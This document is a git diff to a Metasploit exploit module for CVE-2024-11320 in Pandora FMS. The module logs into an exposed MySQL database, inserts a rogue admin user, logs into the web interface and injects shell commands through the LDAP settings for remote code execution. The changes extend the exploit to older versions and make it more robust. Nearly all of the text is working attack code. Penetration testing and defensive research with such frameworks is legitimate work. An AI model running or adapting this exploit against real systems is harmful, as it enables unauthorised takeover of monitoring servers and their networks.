diff --git a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb index 524d04c12b72..db61368cbc59 100644 --- a/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb +++ b/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb @@ -4,6 +4,7 @@ ## require 'rex/proto/mysql/client' +require 'digest/md5' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -30,7 +31,7 @@ def initialize(info = {}) allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the Pandora FMS Web application. This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world. - This issue affects Pandora FMS Community, Free and Enterprise edition: from 700 through <= 777.4 + This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4 }, 'Author' => [ 'h00die-gr3y ', # Metasploit module & default password weakness @@ -107,6 +108,9 @@ def mysql_login(host, user, password, db, port) rescue ::Rex::Proto::MySQL::Client::AccessDeniedError print_error('Access denied') return false + rescue StandardError => e + print_error("Unknown error: #{e.message}") + return false end true end @@ -122,6 +126,9 @@ def mysql_query(sql) rescue Rex::ConnectionTimeout => e print_error("Timeout: #{e.message}") return false + rescue StandardError => e + print_error("Unknown error: #{e.message}") + return false end res end @@ -130,6 +137,8 @@ def mysql_query(sql) # return true if login successful else false def pandora_login(name, pwd) # first login GET request to get csrf code + # in older versions of Pandora FMS this csrf code is not implemented + # but for the sake of simplicity we still execute this GET request res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -142,13 +151,12 @@ def pandora_login(name, pwd) # scrape html = res.get_html_document - csrf_code = html.at('input[@id="hidden-csrf_code"]') - vprint_status("csrf_code: #{csrf_code}") - return if csrf_code.nil? || csrf_code.blank? - - # return if csrf_code&.text.to_s.strip.empty? + csrf_code_html = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code_html}") + csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank? # second login POST request using the csrf code + # csrf_code can be nil in older versions where the csrf_code is not implemented res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -160,16 +168,18 @@ def pandora_login(name, pwd) 'nick' => name, 'pass' => pwd, 'Login_button' => "Let's go", - 'csrf_code' => csrf_code.attribute_nodes[3] + 'csrf_code' => csrf_code } }) - return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') + return res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode') end # CVE-2024-11320: Misconfigure LDAP with RCE payload # return true if successful else false def configure_ldap(payload) # first LDAP GET request to get the csrf_code + # in older versions of Pandora FMS this csrf code is not implemented + # but for the sake of simplicity we still execute this GET request res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -184,13 +194,12 @@ def configure_ldap(payload) # scrape html = res.get_html_document - csrf_code = html.at('input[@id="hidden-csrf_code"]') - vprint_status("csrf_code: #{csrf_code}") - return if csrf_code.nil? || csrf_code.blank? - - # return if csrf_code&.text.to_s.strip.empty? + csrf_code_html = html.at('input[@id="hidden-csrf_code"]') + vprint_status("csrf_code: #{csrf_code_html}") + csrf_code = csrf_code_html.attribute_nodes[3] unless csrf_code_html.nil? || csrf_code_html.blank? # second LDAP POST request using the csrf_code + # csrf_code can be nil in older versions where the csrf_code is not implemented res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -202,7 +211,7 @@ def configure_ldap(payload) }, 'vars_post' => { 'update_config' => 1, - 'csrf_code' => csrf_code.attribute_nodes[3], + 'csrf_code' => csrf_code, 'auth' => 'ldap', 'fallback_local_auth' => 1, 'fallback_local_auth_sent' => 1, @@ -237,12 +246,6 @@ def configure_ldap(payload) # CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration def execute_command(cmd, _opts = {}) # modify php payload to trigger the RCE - # if target['Type'] == :php_cmd - # php_cmd = cmd.gsub(/'/, '"') - # payload = "';php -r " + "\'#{php_cmd}\'" + ' #' - # else - # payload = "';" + cmd + ' #' - # end payload = "';#{target['Type'] == :php_cmd ? "php -r'#{cmd.gsub(/'/, '"')}'" : cmd} #" # misconfigure LDAP settings with RCE payload @@ -303,8 +306,8 @@ def check return CheckCode::Detected('Could not determine the Pandora FMS version.') end - version = Rex::Version.new version - unless version >= Rex::Version.new('7.0.700') && version <= Rex::Version.new('7.0.777.4') + version = Rex::Version.new(version) + unless version >= Rex::Version.new('7.0.718') && version <= Rex::Version.new('7.0.777.4') return CheckCode::Safe("Pandora FMS version #{full_version}") end @@ -326,7 +329,17 @@ def exploit # add a new admin user @username = Rex::Text.rand_text_alphanumeric(5..8).downcase @password = Rex::Text.rand_password - password_hash = Password.create(@password) + + # check the password hash algorithm by reading the password hash of the admin user + # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash + mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_user = 'admin';") + fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1 + hash = mysql_query_res.fetch_hash + if hash['password'].match(/^\$2.\$/) + password_hash = Password.create(@password) + else + password_hash = Digest::MD5.hexdigest(@password) + end print_status("Creating new admin user with credentials #{@username}:#{@password} for access at the Pandora FMS Web application.") mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{@username}\', \'#{password_hash}\', '1');") fail_with(Failure::BadConfig, "Adding new admin credentials #{@username}:#{@password} to the database failed.") if mysql_query_res == false @@ -345,6 +358,8 @@ def exploit case target['Type'] when :unix_cmd, :php_cmd execute_command(payload.encoded) + else + fail_with(Failure::BadConfig, "Unsupported target type: #{target['Type']}.") end end end